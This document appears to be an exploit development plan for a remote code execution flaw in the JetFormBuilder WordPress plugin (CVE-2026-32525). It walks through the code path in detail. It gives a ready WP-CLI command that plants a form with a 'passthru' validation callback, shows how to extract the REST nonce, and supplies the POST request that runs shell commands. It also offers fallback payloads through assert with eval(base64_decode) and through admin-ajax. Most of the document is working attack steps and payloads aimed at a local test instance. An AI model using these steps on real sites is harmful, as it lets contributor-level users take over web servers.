Exploitation Research Plan: CVE-2026-32525 - JetFormBuilder Remote Code Execution

1. Vulnerability Summary

The JetFormBuilder plugin for WordPress is vulnerable to Remote Code Execution (RCE) due to an improper implementation of server-side validation callbacks. The plugin allows form creators to define "Server-Side callback" rules for form fields. When a form field is validated, the plugin uses call_user_func to execute a user-specified PHP function. While a blacklist of dangerous functions exists, it is incomplete, allowing functions like passthru to be executed with arbitrary arguments (the field value).

Since a Contributor can create or edit forms (which are stored as jet-form-builder custom posts), they can embed a malicious callback into a form and then trigger its execution via the plugin's REST API validation endpoint.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/jet-form-builder/v1/validate-field
• Authentication: Contributor level is required to create the malicious form. Once the form exists, the validation endpoint can be triggered by any user with a valid REST API nonce (standard for logged-in users).
• Vulnerable Parameter (Configuration): The value setting of a ssr (Server-Side Rule) validation rule.
• Vulnerable Parameter (Trigger): The field value in the REST API request.
• Sink: call_user_func() in modules/validation/advanced-rules/server-side-rule.php.

3. Code Flow

1. Entry Point: A POST request is sent to the REST route jet-form-builder/v1/validate-field.
2. Endpoint Handler: JFB_Modules\Validation\Rest_Api\Rest_Validation_Endpoint::run_callback receives the request.
3. Validation Processing: It calls JFB_Modules\Validation\Handlers\Validation_Handler::validate($body).
4. Parser Resolution: Validation_Handler resolves the form and field parser using the provided _jfb_validation_path and _jet_engine_booking_form_id.
5. Rule Execution: It retrieves the validation rules for the field. If a rule index _jfb_validation_rule_index points to an ssr rule, it calls $ssr_rule->validate_field($parser).
6. Dynamic Callback: JFB_Modules\Validation\Advanced_Rules\Server_Side_Rule::validate_field retrieves the value setting (the function name).
7. Custom Validation: Server_Side_Rule::validate_custom is reached because the function is not a built-in JFB callback.
8. Bypass Check: Server_Side_Rule::validate_callback checks the function name against a blacklist:
   • var_dump, var_export, print_r, sprintf, printf, shell_exec, system, exec, unserialize, file_get_contents, maybe_unserialize.
   • Note: passthru, popen, proc_open, and assert (PHP < 8) are notably missing.
9. Sink: call_user_func($name, $parser->get_value(), $parser->get_context()) executes the command.

4. Nonce Acquisition Strategy

The REST API endpoint requires a standard WordPress REST nonce (wp_rest).

1. Method: Authenticate as a Contributor.
2. Navigation: Navigate to the WordPress dashboard (e.g., /wp-admin/).
3. Extraction: Use browser_eval to extract the REST nonce from the standard wpApiSettings object.
4. JS Key: window.wpApiSettings?.nonce or extract from the _wpnonce parameter in any AJAX request.

5. Exploitation Strategy

Step 1: Create a Malicious Form

Use WP-CLI to create a form post containing a text field with a malicious SSR validation rule.

wp post create --post_type=jet-form-builder \
  --post_status=publish \
  --post_title='RCE Exploit' \
  --post_content='<!-- wp:jet-forms/text-field {"label":"Command","name":"exploit_field","validation":{"type":"advanced","rules":[{"name":"ssr","value":"passthru","message":"Validation failed"}]}} /-->'

Note the resulting ID of this post (e.g., 123).

Step 2: Obtain REST Nonce

Navigate to /wp-admin/ and run:
browser_eval("window.wpApiSettings.nonce")

Step 3: Trigger the Payload

Send a POST request to the validation endpoint. We use passthru because it sends command output directly to the output buffer, which will appear in the HTTP response.

Request Details:

• URL: http://localhost:8080/wp-json/jet-form-builder/v1/validate-field
• Method: POST
• Headers:
  • Content-Type: application/x-www-form-urlencoded
  • X-WP-Nonce: [REST_NONCE]
• Body:
  • _jfb_validation_path: exploit_field
  • _jfb_validation_rule_index: 0
  • _jet_engine_booking_form_id: 123 (The Form ID)
  • exploit_field: whoami; id; uname -a

6. Test Data Setup

1. User: A user with contributor role.
2. Plugin: JetFormBuilder version 3.5.6.1 or lower installed and active.
3. Post: The jet-form-builder post created in Step 5.1.

7. Expected Results

• HTTP Response: The response body should contain the output of the shell commands (whoami, id, etc.) followed by the JSON response from the REST API.
• Response JSON:

  {"result":false,"message":"Validation failed"}
  

  (Result is false because passthru returns NULL, which casts to false in PHP)

8. Verification Steps

1. Visual: Observe the output of id or whoami in the HTTP response.
2. File System: Change the payload to touch /tmp/jfb_rce_test.
3. Check: Run wp eval 'echo file_exists("/tmp/jfb_rce_test") ? "pwned" : "failed";' via CLI.

9. Alternative Approaches

• Function assert: If PHP version is < 8.0, use assert as the callback and eval(base64_decode(...)) as the value.
• Function mb_ereg_replace: If available, can be used for RCE via the e modifier in some PHP environments.
• Admin-Ajax: If the REST API is blocked, use the jet_fb_ssr_validation_ajax action at /wp-admin/admin-ajax.php.
  • Body: action=jet_fb_ssr_validation_ajax&data={"_jfb_validation_path":"exploit_field","_jfb_validation_rule_index":0,"_jet_engine_booking_form_id":123,"exploit_field":"whoami"}